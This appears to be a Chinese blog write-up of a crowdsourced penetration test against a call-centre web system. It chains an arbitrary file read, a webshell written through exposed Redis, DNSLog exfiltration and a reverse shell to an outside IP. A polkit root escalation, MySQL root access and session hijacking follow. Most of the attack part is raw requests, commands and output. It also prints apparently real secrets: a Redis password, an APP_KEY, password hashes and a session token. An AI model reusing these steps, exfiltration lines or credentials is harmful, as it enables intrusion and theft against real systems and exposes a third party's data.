一次Redis_RCE和提权的心路历程
在某次众测渗透测试过程中遇到一个比较脆弱的系统并且完成了完整的RCE和内核漏洞提权的过程。很值得大家学习噢因此小编也是熬夜给大家写了这篇文章讲解了如何打点以及一步步完成RCE和提权的。这是博主的公众号菜鸟学安全大家可以关注一下我噢主要分享安全领域各方面AI安全渗透测试漏洞挖掘和工作经验分享。我会将这几年踩过的坑和攒下的东西系统整理出来不定时在公众号更新的。1 未授权任意文件读取漏洞描述资产详情http://xx.xx.xx.xx:8996/api/v1/onLineRecord​位置POSThttp://xx.xx.xx.xx:8996/api/v1/onLineRecord无任何 token 校验成因/opt/lampp/htdocsbiaozhun/app/Http/Controllers/Api/TaskInterfaceApi.php:195​参数recordPath、recordFile直接拼入fopen读取并回显可读取服务器任意文件。读取etc/passwd。请求包1读 /etc/passwdPOST /api/v1/onLineRecord HTTP/1.1Host:xx.xx.xx.xx:8996Content-Type: application/json{recordPath:/etc/,recordFile:passwd}响应包HTTP/1.1 200 OKContent-Type: audio/x-wavroot❌0:0:root:/root:/bin/bashdaemon❌2:2:daemon:/sbin:/sbin/nologinadm❌3:4:adm:/var/adm:/sbin/nologin...完整 /etc/passwd 回显读.env—泄露全部凭据。请求包1读 /etc/passwdPOST /api/v1/onLineRecord HTTP/1.1Host:xx.xx.xx.xx:8996Content-Type: application/json{recordPath:/opt/lampp/htdocsbiaozhun/,recordFile:.env}响应包HTTP/1.1 200 OKContent-Type: audio/x-wavContent-disposition: attachment; filename/opt/lampp/htdocsbiaozhun/.envAPP_NAME智能xx系统APP_KEYbase64:R1I7XVqLlTzLNWxx.xx.xx.xxx/km/Rcx1jctwhVjz4DB_CONNECTIONmysqlDB_HOST127.0.0.1DB_PORT33068DB_DATABASEcallcenterDB_USERNAMErootDB_PASSWORDxun.xx.comREDIS_PASSWORD5gwW1hWM7xAtFXXDpW50MOdimAMMwREDIS_PORT8293isLocalWeb0ws_addressxx.xx.xx.xxws_port9502agent_link_freeswitch_port5008 ...2 .env明文凭据与敏感配置泄露漏洞描述任意文件读取直接导致以下敏感信息外泄。/opt/lampp/htdocsbiaozhun/.env 与 /opt/lampp/htdocs_fz/.env读取路径POSThttp://xx.xx.xx.xx:8996/api/v1/onLineRecord。/opt/lampp/htdocsbiaozhun/.env 与 /opt/lampp/htdocs_fz/.env。请求包POST /api/v1/onLineRecord HTTP/1.1Host:xx.xx.xx.xx:8996Content-Type: application/json{recordPath:/opt/lampp/htdocsbiaozhun/,recordFile:.env}响应包HTTP/1.1 200 OKContent-Type: audio/x-wavAPP_NAME智能xx系统APP_KEYbase64:R1I7XVqLlTzLNWxx.xx.xx.xxx/km/Rcx1jctwhVjz4DB_CONNECTIONmysqlDB_HOST127.0.0.1DB_PORT33068DB_DATABASEcallcenterDB_USERNAMErootDB_PASSWORDxun.xx.comREDIS_PASSWORD5gwW1hWM7xAtFXXDpW50MOdimAMMwREDIS_PORT8293isLocalWeb0ws_addressxx.xx.xx.xxws_port9502 ...​3 Redis 服务公网暴露写shell漏洞描述Redis 2.8.17 xx.xx.xx.xx:8293公网口令来自 .env任意文件读获取root 运行CONFIG 未禁用。另存 8198 业务键user:auth:FRONTEND_LOGIN_SYSTEM|*会话令牌、telephone::*、vocalPrint:☎️:*等。8293 端口对公网开放认证口令虽为强随机但以明文存于可被任意文件读取的 .env。认证后具备 CONFIG SET dir/dbfilename SAVE 任意文件写入能力且 Redis 进程为 root —— 构成写 WebShell / 写入 SSH 密钥 / 计划任务等完整 RCE 通道。Redis(8293) 凭据登录 CONFIG 写文件根据任意文件读取漏洞获取的.env泄露Redis口令5gwW1hWM7xAtFXXDpW50MOdimAMMwRedis以root运行且CONFIGSETdir/dbfilename未禁用。redis-cli -h xx.xx.xx.xx -p 8293AUTH 5gwW1hWM7xAtFXXDpW50MOdimAMM连接Redis成功。​请求包redis-cli -hxx.xx.xx.xx-p 8293AUTH5gwW1hWM7xAtFXXDpW50MOdimAMMw→ OKCONFIG SET dir /opt/lampp/htdocsbiaozhun/public → OKCONFIG SET dbfilename tshell.php→ OKSET tshell → OKSAVE→ OK→http://xx.xx.xx.xx:9996/tshell.php?cid执行 uid2(daemon)4 远程命令执行RCE提权漏洞描述漏洞危害以 Web 服务用户daemon执行任意系统命令因 Redis 为 root 进程且拥有写文件能力攻击者可进一步向任意可写/root 可写路径写入文件、读取 Redis 内全部会话与业务缓存含登录令牌等同于服务器失陷。RCE执行步骤Step 1 未授权任意文件读取读取 /opt/lampp/htdocsbiaozhun/.env获得数据库与 Redis 明文口令。Step 2 Redis(8293) 凭据登录 CONFIG 写文件.env 泄露 Redis 口令5gwW1hWM7xAtFXXDpW50MOdimAMMwRedis 以 root 运行且 CONFIG SET dir/dbfilename 未禁用。AUTH5gwW1hWM7xAtFXXDpW50MOdimAMMwCONFIG SET dir /opt/lampp/htdocsbiaozhun/publicCONFIG SET dbfilename shell.phpSET x SAVEStep 3 PHP 执行验证写入的 dump 文件被 Apache 以 PHP 解析。GEThttp://xx.xx.xx.xx:9996/shell.php?cid返回内容包含uid2(daemon) gid2(daemon) groups2(daemon)请求包redis-cli -hxx.xx.xx.xx-p 8293AUTH5gwW1hWM7xAtFXXDpW50MOdimAMMw→ OKCONFIG SET dir /opt/lampp/htdocsbiaozhun/public → OKCONFIG SET dbfilename tshell.php→ OKSET tshell → OKSAVE→ OK→http://xx.xx.xx.xx:9996/tshell.php?cid执行 uid2(daemon)RCE命令执行payload访问地址http://xx.xx.xx.xx:9996/tshell.php?cid但是返回的信息是乱码是Redis的信息特性返回信息存储在内存中。看不到命令执行的结果采用2种方法使用dnslog数据外带和反弹shell。dnslog数据外带获取子域名payload命令http://xx.xx.xx.xx:9996/tshell.php?ccurl-s http://$(ls).s2lwsl.dnslog.cn/http://xx.xx.xx.xx:9996/tshell.php?ccurl%20-s%20http%3A%2F%2F%24%28whoami%29.roupwv.dnslog.cn%2F​Url解码后http://xx.xx.xx.xx:9996/tshell.php?ccurl-s http://$(whoami).roupwv.dnslog.cn/​​Whoami的结果为daemon。​Id的结果为groups2\(daemon\)。​反弹shellhttp://xx.xx.xx.xx:9996/tshell.php?cbash-c bash -i /dev/tcp/8.xx.xx.15/8887 01​在远程服务器监听8887端口。nc -lvvnp 8887成功反弹shell。​利用polkit漏洞提权结果。bash-4.2$ ./expuid0(root) gid0(root) groups0(root),2(daemon)ROOT-SHELL-READYbash: no job control in this shell[rootiZwz9hlow4cfn7c41ujqd1Z .pwn]#·提权前uid2(daemon) gid2(daemon) groups2(daemon)·提权后uid0(root) gid0(root) groups0(root),2(daemon)·提示符由 bash-4.2$ → [rootiZwz9hlow4cfn7c41ujqd1Z .pwn]#​5 MySQL root口令泄露3306公网直连漏洞描述漏洞路径mysql -h xx.xx.xx.xx -P 3306 -u root -pxun.xx.comDB口令root/xun.xx.comMySQL3306公网直连成功.Env泄露数据库明文口令DB_PASSWORDxun.xx.com且MySQL3306端口对公网开放root口令直接复用成功可读写13个业务库callcenter/callcenters/nacos/yunzhiplush*等全部表数据。​callcenter.users 表可直接读取全部管理员/坐席账号与 bcrypt 哈希业务库含真实通话记录、名单数据。请求包mysql -hxx.xx.xx.xx-P 3306 -u root -pxun.xx.com -e show databases;响应包| Database|| information_schema || callcenter|| callcenter_huijin|| callcenter_huike20241209 || callcenter_shengwen|| callcenters|| mysql | nacos | sys|| yunzhiplush | yunzhiplush1 | yunzhiplush2 | yunzhiplush3 |--------------------请求包mysql ... -e USE callcenter; SELECT user_name,password,status FROM users WHERE status0;--------------------------------------------------------------------------------| user_name| password| status |--------------------------------------------------------------------------------| admin| $2y$10$wt7C421GXXWF0cj5XOE6.m5xFGVr1s.s3C | 0| aitesta| $2y$10$7Kunj9fG4XXd/t8vm7r4OTTHCK5r9q | 0| ceshic1| $2y$10$Uy.SXXzOH9Pv4I2RbSNdIw.| 0--------------------------------------------------------------------------------使用DB口令root/xun.xx.com连接成功​6 盲SSRF漏洞描述漏洞路径http://xx.xx.xx.xx:8996/api/v1/onLineRecordonLineRecordfopen支持URL协议fopen($url,r) 在 PHP allow_url_fopen 开启时支持 http:// 等协议。DNSLog 外带验证证明服务器端发起任意 URL 请求recordPath 指向 DNSLog 子域fopen 触发服务器对http://ssrf1.s3upxx.dnslog.cn/的 DNS 解析HTTP 请求平台记录外带实证。POST /api/v1/onLineRecord HTTP/1.1Host:xx.xx.xx.xx:8996Content-Type: application/json{recordPath:http://ssrf1.s3upxx.dnslog.cn/,recordFile:}HTTP/1.1 500filesize 对远程失败半盲特征外带已发生观测s3upxx.dnslog.cn 平台 DNS 记录出现 ssrf1/ssrf2.s3upxx.dnslog.cn来源目标出口 IP。dnslog平台成功回显说明存在SSRF漏洞。s3upxx.dnslog.cnssrf1.s3upxx.dnslog.cnssrf2.s3upxx.dnslog.cn​7 Redis会话越权登录9998端口-任意用户身份接管漏洞描述漏洞影响批量窃取会话以任意在线用户身份越权读取运营数据会话缓存明文存密码哈希token 长期有效。9998端口前端指向 /frontend/* 运营管理 APIaccount/cdr/user/blacklist/recharge/task/warningTask 等均有鉴权未登录返回 UnAuthorization。但其登录会话存于 Redis(8293)口令已由 .env 泄露获取全站通用Redis 中 user:auth:FRONTEND_LOGIN_SYSTEM|* 共 2068 条真实会话键值即登录用户完整对象含 passwd/password 两列 bcrypt 哈希、SIP 配置、ext 分机。直接取会话键值作为 Authorization 头即可获得任意在线用户的登录态。获取Redis的会话roken。redis-cli -h xx.xx.xx.xx -p 8293AUTH 5gwW1hWM7xAtFXXDpW50MOdimAMMwKEYS user:auth:*→ 2081条会话任取一条即可切换身份含管理员​获取会话内容。​·① 越权读主叫列表 — 完整请求/响应包http://xx.xx.xx.xx:9998/frontend/caller/action?actgetCallersentityIdcallerPOST /frontend/caller/action?actgetCallersentityIdcaller HTTP/1.1Host:xx.xx.xx.xx:9998Authorization: FRONTEND_LOGIN_SYSTEM|20250520150726e0081d12d02e5d1d8747dcd8e69f367fContent-Type: application/json{}HTTP/1.1 200 OKVary: AuthorizationContent-Length: 271Content-Type: application/json{code:10,msg:操作成功,data:[{caller_group:0220250303,caller:0220250303,caller_note:0220250303(0220250303),caller_range:0220250303},{caller_group:666666,caller:666666,caller_note:666666(666666),caller_range:666666}]}​②越权读子账号含bcrypt哈希 — 完整请求/响应包http://xx.xx.xx.xx:9998/frontend/user/action?actgetUsersOfParentSnentityIduserPOST /frontend/user/action?actgetUsersOfParentSnentityIduser HTTP/1.1Host:xx.xx.xx.xx:9998Authorization: FRONTEND_LOGIN_SYSTEM|20250520150726e0081d12d02e5d1d8747dcd8e69f367fContent-Type: application/json{parentSn:aitest}HTTP/1.1 200 OKVary: AuthorizationTransfer-Encoding: chunkedContent-Type: application/json{code:10,msg:操作成功,data:{current_page:1,data:[{id:224,user_sn:USER|2025022817...,user_name:aitestadmin001,parent_sn:aites​8 未授权访问9997端口漏洞描述漏洞路径POSThttp://xx.xx.xx.xx:9997/api/v1/userList请求体json为{userName:admin}POST /api/v1/userList 无 token body {userName:admin} → code:200 返回全量用户含密码 bcrypt 哈希原文password/passwd 字段、超级管理员联系方式/团队、SIP 配置等​​9 任意文件读取9997端口漏洞描述漏洞路径http://xx.xx.xx.xx:9997/api/v1/onLineRecord旁站9997端口与主站同为 CCDS 智能xx系统同 .env 口令体系、同 APP_KEY、isLocalWeb0且后端 DB3306/callcenters正常可完成主站因 DB 宕机未能达成的数据级取证请求包POST /api/v1/onLineRecord HTTP/1.1Host:xx.xx.xx.xx:9997Content-Type: application/json{recordPath:/etc/,recordFile:passwd}响应包HTTP/1.1 200 OKServer: Apache/2.4.25 (Unix) OpenSSL/1.0.2j PHP/7.1.4Content-disposition: attachment; filename/etc/passwdContent-Length: 1568root❌0:0:root:/root:/bin/bashdaemon❌2:2:daemon:/sbin:/sbin/nologin...完整 /etc/passwd 回显含 mysql/dockerroot/rabbitmq 等上述是一次众测的Redis_RCE和提权的心路历程。希望大家好好学习不断进步一起加油吧。

相关新闻

华蓥山旅游导航系统:Spring Boot + Android原生开发实践

华蓥山旅游导航系统:Spring Boot + Android原生开发实践

做了几年的Java后端,又折腾过一阵子Android端,一直想找个能把两边串起来的完整项目练手。趁着接了个旅游导航App的需求,我就自己从零搭了一套“Spring Boot后端 Android原生客户端”的华蓥山旅游导航系统。项目整体不算大,但涉及…

2026/10/11 20:34:48 阅读更多 →
手写TCP SYN包:C语言构造可被内核接收的原始数据包

手写TCP SYN包:C语言构造可被内核接收的原始数据包

简介:本资源是燕山大学计算机网络课程三级实践项目——TCP传输数据包的完整工程实现,面向高校网络协议学习者与网络编程初学者,聚焦TCP可靠传输核心机制的代码级理解与实操验证。项目涵盖三次握手建连、数据分片与序号管理、滑动窗口流量控制…

2026/10/11 20:34:45 阅读更多 →
Open Computer Use 是什么?开源 MCP 方案让 AI 免费自动操作电脑:终极入门指南

Open Computer Use 是什么?开源 MCP 方案让 AI 免费自动操作电脑:终极入门指南

Open Computer Use 是什么?开源 MCP 方案让 AI 免费自动操作电脑:终极入门指南 【免费下载链接】open-codex-computer-use 👾 Open Computer Use – Open-Source Alternative to Codex Computer Use 项目地址: https://gitcode.com/gh_mirr…

2026/10/11 20:28:42 阅读更多 →

最新新闻

滑块验证中的UA动态生成与轨迹建模工程实践

滑块验证中的UA动态生成与轨迹建模工程实践

简介:本资源是一份面向Python安全研究与自动化开发者的滑块验证码逆向分析实践案例,聚焦阿里巴巴X82YX5SEC滑块验证机制的识别与模拟突破。内容涵盖核心算法实现、通用滑块处理逻辑及配套客户端环境,适用于Web安全学习、验证码对抗技术研究及…

2026/10/11 20:35:22 阅读更多 →
termite 1.8.4 多系统多架构发布包:安装配置与排错实战

termite 1.8.4 多系统多架构发布包:安装配置与排错实战

简介:Termite 1.8.4 是一套轻量级跨平台远程管理工具包,覆盖 Linux、macOS、Windows 等主流系统,并适配 x86、x64、arm、mips 多种硬件架构。工具整体分为管理端 admin 与客户端 agent,支持跳板机互联、正反向级联和内置 Shell 操…

2026/10/11 20:35:22 阅读更多 →
QT+PaddleOCR打造桌面OCR识别工具:架构与实战避坑指南

QT+PaddleOCR打造桌面OCR识别工具:架构与实战避坑指南

简介:面向需要快速搭建OCR应用界面的Qt开发者与PaddleOCR初学者,这套demo压缩包将源码与发布版本打包在一起,可作为从零开始接触文字识别界面开发的完整示例。压缩包整体大小约454.7MB,源码部分涵盖Qt窗口设计、调用PaddleOCR识别…

2026/10/11 20:35:22 阅读更多 →
中文社区为何一夜开写 SemIf:从 Kev 到 GLiNER,语义判断这波热度有迹可循

中文社区为何一夜开写 SemIf:从 Kev 到 GLiNER,语义判断这波热度有迹可循

中文社区为何一夜开写 SemIf:从 Kev 到 GLiNER,语义判断这波热度有迹可循 【免费下载链接】SemIf-OpenJev Semantic ifs from open models, on a 3090 at home. Independent; not affiliated with Jev or TypeSafe. 项目地址: https://gitcode.com/gh_…

2026/10/11 20:35:22 阅读更多 →
MySQL事务隔离级别实战:脏读、幻读、MVCC与间隙锁全解析

MySQL事务隔离级别实战:脏读、幻读、MVCC与间隙锁全解析

1. 先讲清楚:隔离级别不是“四个等级”,而是“四组权衡”很多人面试被问“MySQL 事务隔离级别有哪几种”,都能背出四个名字:读未提交、读已提交、可重复读、串行化。但真正的难点从来不是背名字,而是搞懂每个级别到底堵…

2026/10/11 20:35:22 阅读更多 →
YashanDB单机部署实操:从环境准备到实例启动的完整指南

YashanDB单机部署实操:从环境准备到实例启动的完整指南

数据库这玩意儿,平时看着没啥存在感,可真到要部署的时候,环境、依赖、权限、端口、内核参数,哪一个拎出来都能把人折腾得没脾气。最近一段时间,因为项目选型,我在几台机器上反复部署过YashanDB——一款国产…

2026/10/11 20:34:21 阅读更多 →

日新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/11 0:00:27 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/11 0:00:27 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 10:45:37 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 14:36:53 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 14:36:54 阅读更多 →